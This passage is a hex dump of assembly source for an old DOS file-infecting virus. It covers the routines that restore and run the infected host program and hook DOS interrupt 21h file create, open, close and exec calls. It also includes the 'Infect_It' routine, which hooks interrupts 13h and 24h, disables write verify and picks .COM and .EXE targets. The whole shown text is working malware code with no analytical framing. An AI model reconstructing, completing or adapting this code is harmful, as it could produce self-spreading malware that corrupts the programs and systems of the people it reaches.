|00001f70| 46 6f 75 6e 64 50 6c 61 | 63 65 0d 0a 09 70 6f 70 |FoundPla|ce...pop|
|00001f80| 09 63 78 0d 0a 09 6c 6f | 6f 70 09 41 67 61 69 6e |.cx...lo|op.Again|
|00001f90| 0d 0a 09 73 74 63 0d 0a | 09 72 65 74 0d 0a 0d 0a |...stc..|.ret....|
|00001fa0| 46 6f 75 6e 64 50 6c 61 | 63 65 3a 0d 0a 0d 0a 09 |FoundPla|ce:.....|
|00001fb0| 70 6f 70 09 63 78 0d 0a | 09 6d 6f 76 09 77 6f 72 |pop.cx..|.mov.wor|
|00001fc0| 64 20 70 74 72 20 63 73 | 3a 5b 62 70 2b 6e 65 77 |d ptr cs|:[bp+new|
|00001fd0| 5f 61 64 64 72 2d 61 64 | 6a 75 73 74 5d 2c 64 69 |_addr-ad|just],di|
|00001fe0| 0d 0a 09 6d 6f 76 09 77 | 6f 72 64 20 70 74 72 20 |...mov.w|ord ptr |
|00001ff0| 63 73 3a 5b 62 70 2b 6e | 65 77 5f 61 64 64 72 2d |cs:[bp+n|ew_addr-|
|00002000| 61 64 6a 75 73 74 2b 32 | 5d 2c 65 73 0d 0a 09 63 |adjust+2|],es...c|
|00002010| 6c 63 0d 0a 09 72 65 74 | 0d 0a 0d 0a 52 75 6e 5f |lc...ret|....Run_|
|00002020| 54 68 65 5f 50 72 6f 67 | 72 61 6d 3a 0d 0a 0d 0a |The_Prog|ram:....|
|00002030| 09 61 64 64 09 62 70 2c | 6f 66 66 73 65 74 20 46 |.add.bp,|offset F|
|00002040| 69 72 73 74 5f 31 38 2d | 61 64 6a 75 73 74 0d 0a |irst_18-|adjust..|
|00002050| 09 70 6f 70 09 64 73 09 | 09 09 09 3b 52 65 73 74 |.pop.ds.|...;Rest|
|00002060| 6f 72 65 20 73 61 76 65 | 64 20 64 73 2c 65 73 2c |ore save|d ds,es,|
|00002070| 61 78 0d 0a 09 70 6f 70 | 09 65 73 09 09 09 09 3b |ax...pop|.es....;|
|00002080| 64 73 3d 65 73 3d 50 53 | 50 0d 0a 09 70 6f 70 09 |ds=es=PS|P...pop.|
|00002090| 61 78 0d 0a 09 6d 6f 76 | 09 61 78 2c 27 5a 4d 27 |ax...mov|.ax,'ZM'|
|000020a0| 0d 0a 09 63 6d 70 09 63 | 73 3a 5b 62 70 5d 2c 61 |...cmp.c|s:[bp],a|
|000020b0| 78 09 3b 52 75 6e 20 74 | 68 65 20 69 6e 66 65 63 |x.;Run t|he infec|
|000020c0| 74 65 64 20 70 72 6f 67 | 72 61 6d 0d 0a 09 6a 65 |ted prog|ram...je|
|000020d0| 09 72 75 6e 5f 65 78 65 | 0d 0a 09 78 63 68 67 09 |.run_exe|...xchg.|
|000020e0| 61 68 2c 61 6c 0d 0a 09 | 63 6d 70 09 63 73 3a 5b |ah,al...|cmp.cs:[|
|000020f0| 62 70 5d 2c 61 78 0d 0a | 09 6a 65 09 72 75 6e 5f |bp],ax..|.je.run_|
|00002100| 65 78 65 0d 0a 09 6a 6e | 65 09 52 75 6e 5f 43 4f |exe...jn|e.Run_CO|
|00002110| 4d 5f 46 69 6c 65 0d 0a | 72 75 6e 5f 65 78 65 3a |M_File..|run_exe:|
|00002120| 0d 0a 09 6d 6f 76 09 63 | 78 2c 64 73 09 09 09 09 |...mov.c|x,ds....|
|00002130| 3b 43 61 6c 63 75 6c 61 | 74 65 20 6c 6f 61 64 20 |;Calcula|te load |
|00002140| 73 65 67 6d 65 6e 74 0d | 0a 09 61 64 64 09 63 78 |segment.|..add.cx|
|00002150| 2c 30 30 31 30 0d 0a 09 | 6d 6f 76 09 62 78 2c 63 |,0010...|mov.bx,c|
|00002160| 78 0d 0a 09 61 64 64 09 | 63 78 2c 63 73 3a 5b 62 |x...add.|cx,cs:[b|
|00002170| 70 2b 31 36 5d 09 3b 43 | 61 6c 63 75 6c 61 74 65 |p+16].;C|alculate|
|00002180| 20 43 53 20 76 61 6c 75 | 65 0d 0a 09 61 64 64 09 | CS valu|e...add.|
|00002190| 62 78 2c 63 73 3a 5b 62 | 70 2b 30 65 5d 09 3b 43 |bx,cs:[b|p+0e].;C|
|000021a0| 61 6c 63 75 6c 61 74 65 | 20 53 53 20 76 61 6c 75 |alculate| SS valu|
|000021b0| 65 0d 0a 09 6d 6f 76 09 | 73 73 2c 62 78 09 09 09 |e...mov.|ss,bx...|
|000021c0| 09 3b 52 75 6e 20 2e 45 | 58 45 20 70 72 6f 67 72 |.;Run .E|XE progr|
|000021d0| 61 6d 0d 0a 09 6d 6f 76 | 09 73 70 2c 77 6f 72 64 |am...mov|.sp,word|
|000021e0| 20 70 74 72 20 63 73 3a | 5b 62 70 2b 31 30 5d 0d | ptr cs:|[bp+10].|
|000021f0| 0a 09 70 75 73 68 09 63 | 78 0d 0a 09 70 75 73 68 |..push.c|x...push|
|00002200| 09 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 62 70 |.word pt|r cs:[bp|
|00002210| 2b 31 34 5d 0d 0a 09 72 | 65 74 66 0d 0a 0d 0a 52 |+14]...r|etf....R|
|00002220| 75 6e 5f 43 4f 4d 5f 46 | 69 6c 65 3a 0d 0a 0d 0a |un_COM_F|ile:....|
|00002230| 09 6d 6f 76 09 64 69 2c | 30 31 30 30 0d 0a 09 70 |.mov.di,|0100...p|
|00002240| 75 73 68 09 64 69 0d 0a | 09 6d 6f 76 09 73 69 2c |ush.di..|.mov.si,|
|00002250| 62 70 0d 0a 09 6d 6f 76 | 73 62 09 09 09 09 09 3b |bp...mov|sb.....;|
|00002260| 52 65 73 74 6f 72 65 20 | 74 68 65 20 66 69 72 73 |Restore |the firs|
|00002270| 74 20 33 20 62 79 74 65 | 73 0d 0a 09 6d 6f 76 73 |t 3 byte|s...movs|
|00002280| 77 09 09 09 09 09 3b 52 | 75 6e 20 2e 43 4f 4d 20 |w.....;R|un .COM |
|00002290| 70 72 6f 67 72 61 6d 0d | 0a 09 72 65 74 0d 0a 0d |program.|..ret...|
|000022a0| 0a 09 64 62 09 27 8c ad | ae a3 ae 20 b1 ac a5 21 |..db.'..|... ...!|
|000022b0| 27 0d 0a 0d 0a 49 4e 54 | 5f 32 31 68 5f 45 6e 74 |'....INT|_21h_Ent|
|000022c0| 72 79 5f 50 6f 69 6e 74 | 3a 0d 0a 0d 0a 09 63 6d |ry_Point|:.....cm|
|000022d0| 70 09 61 68 2c 33 63 68 | 09 09 09 3b 43 72 65 61 |p.ah,3ch|...;Crea|
|000022e0| 74 65 20 28 33 2e 58 29 | 0d 0a 09 6a 65 09 63 72 |te (3.X)|...je.cr|
|000022f0| 65 61 74 65 0d 0a 09 63 | 6d 70 09 61 68 2c 35 62 |eate...c|mp.ah,5b|
|00002300| 68 0d 0a 09 6a 65 09 63 | 72 65 61 74 65 0d 0a 0d |h...je.c|reate...|
|00002310| 0a 09 63 6d 70 09 61 68 | 2c 36 63 68 0d 0a 09 6a |..cmp.ah|,6ch...j|
|00002320| 6e 65 09 6e 6f 74 5f 63 | 72 65 61 74 65 09 09 3b |ne.not_c|reate..;|
|00002330| 43 72 65 61 74 65 20 28 | 34 2e 58 29 0d 0a 09 74 |Create (|4.X)...t|
|00002340| 65 73 74 09 62 6c 2c 31 | 0d 0a 09 6a 7a 09 6e 6f |est.bl,1|...jz.no|
|00002350| 74 5f 63 72 65 61 74 65 | 0d 0a 09 6a 6e 7a 09 63 |t_create|...jnz.c|
|00002360| 72 65 61 74 65 0d 0a 0d | 0a 6e 6f 74 5f 63 72 65 |reate...|.not_cre|
|00002370| 61 74 65 3a 0d 0a 0d 0a | 09 63 61 6c 6c 09 70 75 |ate:....|.call.pu|
|00002380| 73 68 61 0d 0a 0d 0a 09 | 6d 6f 76 09 62 79 74 65 |sha.....|mov.byte|
|00002390| 20 70 74 72 20 63 73 3a | 5b 66 75 6e 63 74 69 6f | ptr cs:|[functio|
|000023a0| 6e 2d 61 64 6a 75 73 74 | 5d 2c 61 68 0d 0a 0d 0a |n-adjust|],ah....|
|000023b0| 09 63 6d 70 09 61 68 2c | 36 63 68 09 09 3b 4f 70 |.cmp.ah,|6ch..;Op|
|000023c0| 65 6e 20 28 34 2e 58 29 | 0d 0a 09 6a 65 09 63 72 |en (4.X)|...je.cr|
|000023d0| 65 61 74 65 5f 0d 0a 0d | 0a 09 63 6d 70 09 61 68 |eate_...|..cmp.ah|
|000023e0| 2c 33 64 68 0d 0a 09 6a | 65 09 46 75 6e 63 74 69 |,3dh...j|e.Functi|
|000023f0| 6f 6e 5f 34 42 68 0d 0a | 0d 0a 09 63 6d 70 09 61 |on_4Bh..|...cmp.a|
|00002400| 68 2c 33 65 09 09 3b 43 | 6c 6f 73 65 0d 0a 09 6a |h,3e..;C|lose...j|
|00002410| 65 09 63 6c 6f 73 65 5f | 0d 0a 0d 0a 09 63 6d 70 |e.close_|.....cmp|
|00002420| 09 61 78 2c 34 62 30 30 | 20 3b 45 78 65 63 0d 0a |.ax,4b00| ;Exec..|
|00002430| 09 6a 65 09 46 75 6e 63 | 74 69 6f 6e 5f 34 42 68 |.je.Func|tion_4Bh|
|00002440| 0d 0a 0d 0a 52 65 74 75 | 72 6e 5f 43 6f 6e 74 72 |....Retu|rn_Contr|
|00002450| 6f 6c 3a 0d 0a 0d 0a 09 | 63 61 6c 6c 09 70 6f 70 |ol:.....|call.pop|
|00002460| 61 0d 0a 0d 0a 47 6f 5f | 6f 75 74 3a 0d 0a 09 6a |a....Go_|out:...j|
|00002470| 6d 70 09 64 77 6f 72 64 | 20 70 74 72 20 63 73 3a |mp.dword| ptr cs:|
|00002480| 5b 63 75 72 72 65 6e 74 | 5f 32 31 68 2d 61 64 6a |[current|_21h-adj|
|00002490| 75 73 74 5d 09 3b 67 6f | 20 74 6f 20 74 68 65 20 |ust].;go| to the |
|000024a0| 6f 6c 64 20 69 6e 74 20 | 32 31 0d 0a 0d 0a 63 72 |old int |21....cr|
|000024b0| 65 61 74 65 5f 3a 0d 0a | 0d 0a 09 6f 72 09 62 6c |eate_:..|...or.bl|
|000024c0| 2c 62 6c 09 09 3b 43 72 | 65 61 74 65 20 66 69 6c |,bl..;Cr|eate fil|
|000024d0| 65 3f 0d 0a 09 6a 6e 7a | 09 52 65 74 75 72 6e 5f |e?...jnz|.Return_|
|000024e0| 43 6f 6e 74 72 6f 6c 0d | 0a 09 6d 6f 76 09 64 78 |Control.|..mov.dx|
|000024f0| 2c 73 69 0d 0a 0d 0a 46 | 75 6e 63 74 69 6f 6e 5f |,si....F|unction_|
|00002500| 34 42 68 3a 0d 0a 0d 0a | 09 6d 6f 76 09 61 78 2c |4Bh:....|.mov.ax,|
|00002510| 33 64 30 30 68 0d 0a 09 | 63 61 6c 6c 09 49 6e 66 |3d00h...|call.Inf|
|00002520| 65 63 74 5f 49 74 0d 0a | 09 6a 6d 70 09 52 65 74 |ect_It..|.jmp.Ret|
|00002530| 75 72 6e 5f 43 6f 6e 74 | 72 6f 6c 0d 0a 0d 0a 63 |urn_Cont|rol....c|
|00002540| 72 65 61 74 65 3a 0d 0a | 20 20 20 20 20 20 20 20 |reate:..| |
|00002550| 63 6d 70 20 20 20 20 20 | 77 6f 72 64 20 70 74 72 |cmp |word ptr|
|00002560| 20 63 73 3a 5b 68 61 6e | 64 6c 65 2d 61 64 6a 75 | cs:[han|dle-adju|
|00002570| 73 74 5d 2c 30 66 66 66 | 66 0d 0a 20 20 20 20 20 |st],0fff|f.. |
|00002580| 20 20 20 6a 6e 65 20 20 | 20 20 20 47 6f 5f 6f 75 | jne | Go_ou|
|00002590| 74 0d 0a 09 63 61 6c 6c | 09 43 61 6c 6c 5f 4f 72 |t...call|.Call_Or|
|000025a0| 69 67 69 6e 61 6c 5f 49 | 4e 54 5f 32 31 68 0d 0a |iginal_I|NT_21h..|
|000025b0| 09 6d 6f 76 09 77 6f 72 | 64 20 70 74 72 20 63 73 |.mov.wor|d ptr cs|
|000025c0| 3a 5b 68 61 6e 64 6c 65 | 2d 61 64 6a 75 73 74 5d |:[handle|-adjust]|
|000025d0| 2c 61 78 0d 0a 09 6a 6e | 63 09 45 72 72 6f 72 0d |,ax...jn|c.Error.|
|000025e0| 0a 09 6d 6f 76 09 77 6f | 72 64 20 70 74 72 20 63 |..mov.wo|rd ptr c|
|000025f0| 73 3a 5b 68 61 6e 64 6c | 65 2d 61 64 6a 75 73 74 |s:[handl|e-adjust|
|00002600| 5d 2c 30 66 66 66 66 0d | 0a 45 72 72 6f 72 3a 0d |],0ffff.|.Error:.|
|00002610| 0a 3b 20 20 20 20 20 20 | 20 72 65 74 66 20 20 20 |.; | retf |
|00002620| 20 32 0d 0a 09 64 62 20 | 30 63 61 2c 32 2c 30 0d | 2...db |0ca,2,0.|
|00002630| 0a 0d 0a 63 6c 6f 73 65 | 5f 3a 0d 0a 09 63 6d 70 |...close|_:...cmp|
|00002640| 09 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 68 61 |.word pt|r cs:[ha|
|00002650| 6e 64 6c 65 2d 61 64 6a | 75 73 74 5d 2c 30 66 66 |ndle-adj|ust],0ff|
|00002660| 66 66 0d 0a 09 6a 65 09 | 52 65 74 75 72 6e 5f 43 |ff...je.|Return_C|
|00002670| 6f 6e 74 72 6f 6c 0d 0a | 09 63 6d 70 09 62 78 2c |ontrol..|.cmp.bx,|
|00002680| 77 6f 72 64 20 70 74 72 | 20 63 73 3a 5b 68 61 6e |word ptr| cs:[han|
|00002690| 64 6c 65 2d 61 64 6a 75 | 73 74 5d 0d 0a 09 6a 6e |dle-adju|st]...jn|
|000026a0| 65 09 52 65 74 75 72 6e | 5f 43 6f 6e 74 72 6f 6c |e.Return|_Control|
|000026b0| 0d 0a 09 6d 6f 76 09 61 | 68 2c 34 35 0d 0a 09 63 |...mov.a|h,45...c|
|000026c0| 61 6c 6c 09 49 6e 66 65 | 63 74 5f 49 74 0d 0a 09 |all.Infe|ct_It...|
|000026d0| 6d 6f 76 09 77 6f 72 64 | 20 70 74 72 20 63 73 3a |mov.word| ptr cs:|
|000026e0| 5b 68 61 6e 64 6c 65 2d | 61 64 6a 75 73 74 5d 2c |[handle-|adjust],|
|000026f0| 30 66 66 66 66 0d 0a 09 | 6a 6d 70 09 52 65 74 75 |0ffff...|jmp.Retu|
|00002700| 72 6e 5f 43 6f 6e 74 72 | 6f 6c 0d 0a 0d 0a 09 3b |rn_Contr|ol.....;|
|00002710| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00002720| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00002730| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 0d 0a 09 3b 20 20 |********|**...; |
|00002740| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002750| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002760| 20 20 20 20 20 20 20 2a | 0d 0a 09 3b 20 20 20 20 | *|...; |
|00002770| 20 20 20 54 68 69 73 20 | 69 6e 66 65 63 74 73 20 | This |infects |
|00002780| 74 68 65 20 70 72 6f 67 | 72 61 6d 73 2e 2e 2e 20 |the prog|rams... |
|00002790| 20 20 20 20 20 2a 0d 0a | 09 3b 20 20 20 20 20 20 | *..|.; |
|000027a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000027b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000027c0| 20 20 20 2a 0d 0a 09 3b | 2a 2a 2a 2a 2a 2a 2a 2a | *...;|********|
|000027d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000027e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000027f0| 2a 2a 0d 0a 0d 0a 49 6e | 66 65 63 74 5f 49 74 3a |**....In|fect_It:|
|00002800| 0d 0a 0d 0a 09 63 61 6c | 6c 09 43 61 6c 6c 5f 4f |.....cal|l.Call_O|
|00002810| 72 69 67 69 6e 61 6c 5f | 49 4e 54 5f 32 31 68 09 |riginal_|INT_21h.|
|00002820| 09 3b 74 68 69 73 20 69 | 73 20 74 68 65 20 69 6e |.;this i|s the in|
|00002830| 66 65 63 74 69 6e 67 20 | 70 61 72 74 0d 0a 09 6a |fecting |part...j|
|00002840| 6e 63 09 4e 6f 5f 65 72 | 72 6f 72 0d 0a 09 72 65 |nc.No_er|ror...re|
|00002850| 74 0d 0a 0d 0a 4e 6f 5f | 65 72 72 6f 72 3a 0d 0a |t....No_|error:..|
|00002860| 0d 0a 09 78 63 68 67 09 | 61 78 2c 62 70 0d 0a 0d |...xchg.|ax,bp...|
|00002870| 0a 09 6d 6f 76 09 61 78 | 2c 30 32 30 30 0d 0a 09 |..mov.ax|,0200...|
|00002880| 70 75 73 68 09 61 78 0d | 0a 09 70 6f 70 66 0d 0a |push.ax.|..popf..|
|00002890| 0d 0a 09 6d 6f 76 09 62 | 79 74 65 20 70 74 72 20 |...mov.b|yte ptr |
|000028a0| 63 73 3a 5b 66 6c 61 67 | 2d 61 64 6a 75 73 74 5d |cs:[flag|-adjust]|
|000028b0| 2c 30 0d 0a 0d 0a 09 6d | 6f 76 09 61 68 2c 35 34 |,0.....m|ov.ah,54|
|000028c0| 0d 0a 09 63 61 6c 6c 09 | 43 61 6c 6c 5f 4f 72 69 |...call.|Call_Ori|
|000028d0| 67 69 6e 61 6c 5f 49 4e | 54 5f 32 31 68 0d 0a 09 |ginal_IN|T_21h...|
|000028e0| 6d 6f 76 09 62 79 74 65 | 20 70 74 72 20 63 73 3a |mov.byte| ptr cs:|
|000028f0| 5b 76 65 72 69 2d 61 64 | 6a 75 73 74 5d 2c 61 6c |[veri-ad|just],al|
|00002900| 0d 0a 09 63 6d 70 09 61 | 6c 2c 31 09 09 09 09 3b |...cmp.a|l,1....;|
|00002910| 53 77 69 74 63 68 20 6f | 66 66 20 76 65 72 69 66 |Switch o|ff verif|
|00002920| 79 2e 2e 2e 0d 0a 09 6a | 6e 65 09 47 6f 5f 4f 6e |y......j|ne.Go_On|
|00002930| 5f 53 65 74 74 69 6e 67 | 0d 0a 09 6d 6f 76 09 61 |_Setting|...mov.a|
|00002940| 78 2c 32 65 30 30 0d 0a | 09 63 61 6c 6c 09 43 61 |x,2e00..|.call.Ca|
|00002950| 6c 6c 5f 4f 72 69 67 69 | 6e 61 6c 5f 49 4e 54 5f |ll_Origi|nal_INT_|
|00002960| 32 31 68 0d 0a 0d 0a 47 | 6f 5f 4f 6e 5f 53 65 74 |21h....G|o_On_Set|
|00002970| 74 69 6e 67 3a 0d 0a 0d | 0a 0d 0a 09 6d 6f 76 09 |ting:...|....mov.|
|00002980| 61 78 2c 33 35 31 33 0d | 0a 09 63 61 6c 6c 09 43 |ax,3513.|..call.C|
|00002990| 61 6c 6c 5f 4f 72 69 67 | 69 6e 61 6c 5f 49 4e 54 |all_Orig|inal_INT|
|000029a0| 5f 32 31 68 0d 0a 09 70 | 75 73 68 09 62 78 0d 0a |_21h...p|ush.bx..|
|000029b0| 09 70 75 73 68 09 65 73 | 0d 0a 0d 0a 09 6d 6f 76 |.push.es|.....mov|
|000029c0| 09 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 63 75 |.word pt|r cs:[cu|
|000029d0| 72 72 65 6e 74 5f 31 33 | 68 2d 61 64 6a 75 73 74 |rrent_13|h-adjust|
|000029e0| 5d 2c 62 78 0d 0a 09 6d | 6f 76 09 77 6f 72 64 20 |],bx...m|ov.word |
|000029f0| 70 74 72 20 63 73 3a 5b | 63 75 72 72 65 6e 74 5f |ptr cs:[|current_|
|00002a00| 31 33 68 2d 61 64 6a 75 | 73 74 2b 32 5d 2c 65 73 |13h-adju|st+2],es|
|00002a10| 0d 0a 0d 0a 09 6d 6f 76 | 09 61 68 2c 32 35 0d 0a |.....mov|.ah,25..|
|00002a20| 09 6d 6f 76 09 64 78 2c | 49 4e 54 5f 31 33 68 5f |.mov.dx,|INT_13h_|
|00002a30| 65 6e 74 72 79 2d 61 64 | 6a 75 73 74 20 3b 53 65 |entry-ad|just ;Se|
|00002a40| 74 20 69 6e 74 20 31 33 | 68 0d 0a 09 70 75 73 68 |t int 13|h...push|
|00002a50| 09 63 73 0d 0a 09 70 6f | 70 09 64 73 0d 0a 09 63 |.cs...po|p.ds...c|
|00002a60| 61 6c 6c 09 43 61 6c 6c | 5f 4f 72 69 67 69 6e 61 |all.Call|_Origina|
|00002a70| 6c 5f 49 4e 54 5f 32 31 | 68 0d 0a 0d 0a 09 6d 6f |l_INT_21|h.....mo|
|00002a80| 76 09 61 78 2c 33 35 32 | 34 0d 0a 09 63 61 6c 6c |v.ax,352|4...call|
|00002a90| 09 43 61 6c 6c 5f 4f 72 | 69 67 69 6e 61 6c 5f 49 |.Call_Or|iginal_I|
|00002aa0| 4e 54 5f 32 31 68 0d 0a | 09 70 75 73 68 09 62 78 |NT_21h..|.push.bx|
|00002ab0| 0d 0a 09 70 75 73 68 09 | 65 73 0d 0a 0d 0a 09 6d |...push.|es.....m|
|00002ac0| 6f 76 09 61 68 2c 32 35 | 0d 0a 09 6d 6f 76 09 64 |ov.ah,25|...mov.d|
|00002ad0| 78 2c 49 4e 54 5f 32 34 | 68 5f 65 6e 74 72 79 2d |x,INT_24|h_entry-|
|00002ae0| 61 64 6a 75 73 74 20 3b | 53 65 74 20 69 6e 74 20 |adjust ;|Set int |
|00002af0| 32 34 68 20 28 55 73 65 | 6c 65 73 73 20 6d 61 79 |24h (Use|less may|
|00002b00| 62 65 2e 2e 2e 29 2e 0d | 0a 09 63 61 6c 6c 09 43 |be...)..|..call.C|
|00002b10| 61 6c 6c 5f 4f 72 69 67 | 69 6e 61 6c 5f 49 4e 54 |all_Orig|inal_INT|
|00002b20| 5f 32 31 68 0d 0a 0d 0a | 09 70 75 73 68 09 63 73 |_21h....|.push.cs|
|00002b30| 0d 0a 09 70 75 73 68 09 | 63 73 0d 0a 09 70 6f 70 |...push.|cs...pop|
|00002b40| 09 64 73 0d 0a 09 70 6f | 70 09 65 73 0d 0a 09 6d |.ds...po|p.es...m|
|00002b50| 6f 76 09 64 78 2c 6f 66 | 66 73 65 74 20 44 4f 53 |ov.dx,of|fset DOS|
|00002b60| 5f 31 33 68 2d 61 64 6a | 75 73 74 0d 0a 09 6d 6f |_13h-adj|ust...mo|
|00002b70| 76 09 62 78 2c 64 78 09 | 09 09 3b 53 65 74 20 4e |v.bx,dx.|..;Set N|
|00002b80| 65 77 20 44 4f 53 20 69 | 6e 74 20 31 33 68 0d 0a |ew DOS i|nt 13h..|
|00002b90| 09 6d 6f 76 09 61 68 2c | 31 33 0d 0a 09 63 61 6c |.mov.ah,|13...cal|
|00002ba0| 6c 09 43 61 6c 6c 5f 4f | 72 69 67 69 6e 61 6c 5f |l.Call_O|riginal_|
|00002bb0| 49 4e 54 5f 32 46 68 0d | 0a 0d 0a 09 70 75 73 68 |INT_2Fh.|....push|
|00002bc0| 09 62 78 0d 0a 09 70 75 | 73 68 09 65 73 0d 0a 09 |.bx...pu|sh.es...|
|00002bd0| 70 75 73 68 09 64 78 0d | 0a 09 70 75 73 68 09 64 |push.dx.|..push.d|
|00002be0| 73 0d 0a 0d 0a 09 70 75 | 73 68 09 63 73 0d 0a 09 |s.....pu|sh.cs...|
|00002bf0| 70 6f 70 09 64 73 0d 0a | 0d 0a 09 78 63 68 67 09 |pop.ds..|...xchg.|
|00002c00| 62 78 2c 62 70 0d 0a 09 | 70 75 73 68 09 62 78 0d |bx,bp...|push.bx.|
|00002c10| 0a 09 6d 6f 76 09 61 78 | 2c 31 32 32 30 0d 0a 09 |..mov.ax|,1220...|
|00002c20| 63 61 6c 6c 09 43 61 6c | 6c 5f 4f 72 69 67 69 6e |call.Cal|l_Origin|
|00002c30| 61 6c 5f 49 4e 54 5f 32 | 46 68 0d 0a 09 6d 6f 76 |al_INT_2|Fh...mov|
|00002c40| 09 62 6c 2c 65 73 3a 5b | 64 69 5d 09 09 3b 52 65 |.bl,es:[|di]..;Re|
|00002c50| 6d 65 6d 62 65 72 20 74 | 68 65 20 67 6f 6f 64 20 |member t|he good |
|00002c60| 6f 6c 64 20 56 35 31 32 | 20 3f 0d 0a 09 6d 6f 76 |old V512| ?...mov|
|00002c70| 09 61 78 2c 31 32 31 36 | 0d 0a 09 63 61 6c 6c 09 |.ax,1216|...call.|
|00002c80| 43 61 6c 6c 5f 4f 72 69 | 67 69 6e 61 6c 5f 49 4e |Call_Ori|ginal_IN|
|00002c90| 54 5f 32 46 68 0d 0a 09 | 70 6f 70 09 62 78 0d 0a |T_2Fh...|pop.bx..|
|00002ca0| 09 61 64 64 09 64 69 2c | 31 31 0d 0a 0d 0a 09 6d |.add.di,|11.....m|
|00002cb0| 6f 76 09 62 79 74 65 20 | 70 74 72 20 65 73 3a 5b |ov.byte |ptr es:[|
|00002cc0| 64 69 2d 31 35 64 5d 2c | 32 0d 0a 09 6d 6f 76 09 |di-15d],|2...mov.|
|00002cd0| 61 78 2c 65 73 3a 5b 64 | 69 5d 0d 0a 09 6d 6f 76 |ax,es:[d|i]...mov|
|00002ce0| 09 64 78 2c 65 73 3a 5b | 64 69 2b 32 5d 0d 0a 09 |.dx,es:[|di+2]...|
|00002cf0| 63 6d 70 09 61 78 2c 33 | 30 30 30 64 0d 0a 09 73 |cmp.ax,3|000d...s|
|00002d00| 62 62 09 64 78 2c 30 0d | 0a 09 6a 62 09 4e 6f 74 |bb.dx,0.|..jb.Not|
|00002d10| 5f 67 6f 6f 64 0d 0a 47 | 6f 5f 6f 6e 3a 0d 0a 09 |_good..G|o_on:...|
|00002d20| 63 6d 70 09 62 79 74 65 | 20 70 74 72 20 63 73 3a |cmp.byte| ptr cs:|
|00002d30| 5b 66 75 6e 63 74 69 6f | 6e 2d 61 64 6a 75 73 74 |[functio|n-adjust|
|00002d40| 5d 2c 33 64 68 0d 0a 09 | 6a 65 09 53 63 61 6e 5f |],3dh...|je.Scan_|
|00002d50| 6e 61 6d 65 0d 0a 09 63 | 6d 70 09 62 79 74 65 20 |name...c|mp.byte |
|00002d60| 70 74 72 20 63 73 3a 5b | 66 75 6e 63 74 69 6f 6e |ptr cs:[|function|
|00002d70| 2d 61 64 6a 75 73 74 5d | 2c 36 63 68 0d 0a 09 6a |-adjust]|,6ch...j|
|00002d80| 6e 65 09 44 6f 6e 74 5f | 53 63 61 6e 5f 4e 61 6d |ne.Dont_|Scan_Nam|
|00002d90| 65 0d 0a 0d 0a 53 63 61 | 6e 5f 6e 61 6d 65 3a 0d |e....Sca|n_name:.|
|00002da0| 0a 0d 0a 09 70 75 73 68 | 09 64 69 0d 0a 09 61 64 |....push|.di...ad|
|00002db0| 64 09 64 69 2c 30 66 0d | 0a 09 6d 6f 76 09 73 69 |d.di,0f.|..mov.si|
|00002dc0| 2c 6f 66 66 73 65 74 20 | 66 6e 61 6d 65 2d 61 64 |,offset |fname-ad|
|00002dd0| 6a 75 73 74 09 3b 77 61 | 73 6e 27 74 20 74 68 61 |just.;wa|sn't tha|
|00002de0| 74 20 74 68 65 20 6c 61 | 73 74 20 6f 70 65 6e 65 |t the la|st opene|
|00002df0| 64 20 66 69 6c 65 3f 0d | 0a 09 63 6c 64 0d 0a 09 |d file?.|..cld...|
|00002e00| 6d 6f 76 09 63 78 2c 38 | 2b 33 0d 0a 09 72 65 70 |mov.cx,8|+3...rep|
|00002e10| 09 63 6d 70 73 62 0d 0a | 09 70 6f 70 09 64 69 0d |.cmpsb..|.pop.di.|
|00002e20| 0a 09 6a 65 09 4e 6f 74 | 5f 67 6f 6f 64 0d 0a 0d |..je.Not|_good...|
|00002e30| 0a 44 6f 6e 74 5f 53 63 | 61 6e 5f 4e 61 6d 65 3a |.Dont_Sc|an_Name:|
|00002e40| 0d 0a 0d 0a 09 63 6d 70 | 09 65 73 3a 5b 64 69 2b |.....cmp|.es:[di+|
|00002e50| 31 38 5d 2c 27 4d 4f 27 | 0d 0a 09 6a 6e 65 09 43 |18],'MO'|...jne.C|
|00002e60| 68 65 63 6b 5f 46 6f 72 | 5f 45 58 45 09 09 09 3b |heck_For|_EXE...;|
|00002e70| 63 68 65 63 6b 20 66 6f | 72 20 2e 43 4f 4d 20 66 |check fo|r .COM f|
|00002e80| 69 6c 65 0d 0a 09 63 6d | 70 09 62 79 74 65 20 70 |ile...cm|p.byte p|
|00002e90| 74 72 20 65 73 3a 5b 64 | 69 2b 31 37 5d 2c 27 43 |tr es:[d|i+17],'C|
|00002ea0| 27 0d 0a 09 6a 6e 65 09 | 43 68 65 63 6b 5f 46 6f |'...jne.|Check_Fo|
|00002eb0| 72 5f 45 58 45 0d 0a 09 | 6a 6d 70 09 63 6f 6d 0d |r_EXE...|jmp.com.|
|00002ec0| 0a 0d 0a 43 68 65 63 6b | 5f 46 6f 72 5f 45 58 45 |...Check|_For_EXE|
|00002ed0| 3a 0d 0a 0d 0a 09 63 6d | 70 09 65 73 3a 5b 64 69 |:.....cm|p.es:[di|
|00002ee0| 2b 31 38 5d 2c 27 45 58 | 27 0d 0a 09 6a 6e 65 09 |+18],'EX|'...jne.|
|00002ef0| 4e 6f 74 5f 67 6f 6f 64 | 09 09 09 3b 63 68 65 63 |Not_good|...;chec|
|00002f00| 6b 20 66 6f 72 20 2e 45 | 58 45 20 66 69 6c 65 0d |k for .E|XE file.|
|00002f10| 0a 09 63 6d 70 09 62 79 | 74 65 20 70 74 72 20 65 |..cmp.by|te ptr e|
|00002f20| 73 3a 5b 64 69 2b 31 37 | 5d 2c 27 45 27 0d 0a 09 |s:[di+17|],'E'...|
